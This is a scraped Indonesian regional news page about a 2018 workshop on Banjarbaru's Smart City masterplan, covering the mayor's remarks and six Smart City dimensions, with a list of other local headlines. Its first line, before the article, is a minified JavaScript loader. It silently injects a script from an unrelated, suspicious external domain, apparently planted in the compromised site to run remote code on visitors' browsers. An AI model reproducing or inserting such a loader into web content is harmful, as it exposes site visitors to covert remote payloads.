(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Modal IPM Tinggi di Kalsel, Ini Konsep 6 Dimensi Smart City Banjarbaru


BANJARBARU, Dengan luas Banjarbaru 371,38 km persegi, Kota Banjarbaru adalah pintu gerbang Kalimantan Selatan dengan kehadiran Bandara dan berdekatan dengan pelabuhan. Banjarbaru dengan julukan Kota Idaman tidak memiliki sumber daya alam seperti batubara, namun bersyukur mempunyai modal Indeks Pembangunan Manusia (IPM) tertinggi di Kalsel yaitu 77,96%. Secara umum terus meningkat dan berada pada level di atas rata-rata Provinsi Kalsel yang berkisar 5% yaitu tercatat pada 2016 sudah mencapai 6,95%, ekonomi masyarakat dan UMKM terus maju dan tumbuh.

Paparan tersebut disampikan Walikota Banjarbaru H Nadjmi Adhani saat kegiatan bimbingan teknis penyusunan Masterplan Smart City di Aula Gawi Sabarataan Pemerintah Kota Banjarbaru, Jum’at (2/11/2018). Hadir sebagai pembimbing dan pendamping Masterplan Smart City Kota Banjarbaru Windy Gambetta dan Melawati dari Kementerian Kominfo RI, bersama Prof Dr Ir H Gusti Muhammad Hatta MS dan Drs H Baderani MS.

Walikota Banjarbaru H Nadjmi Adhani mengatakan, tagline tahun 2018 yaitu Banjarbaru Berinovasi kegiatan penyusunan Masterplan Smart City hadir melengkapi dan mengarahkan inovasi-inovasi yang telah dilakukan agar dapat sustainable.

Dipaparkan oleh tim pelaksana tentang konsep Smart City dengan Quick Win yang ditetapkan, ada 6 dimensi Smart City yang akan diwujudkan yaitu Smart Governance (tata kelola pemerintahan yang cerdas), Smart Society (masyarakat yang cerdas), Smart Economy (ekonomi yang cerdas), Smart Branding (pencitraan yang cerdas), Smart Living (cara hidup yang cerdas) dan Smart Environment (pengelolaan lingkungan yang cerdas). Juga adanya Quick Win (program atau kegiatan cepat capai) yaitu pemanfaatan data kependudukan dalam pelayanan Rumah Sakit Daerah Idaman Kota Banjarbaru kepada masyarakat. Dan pengembangan destinasi wisata yang funtastik harus dilaksanakan secara serius. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

3 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

5 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

6 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

6 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

9 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

10 jam ago

This website uses cookies.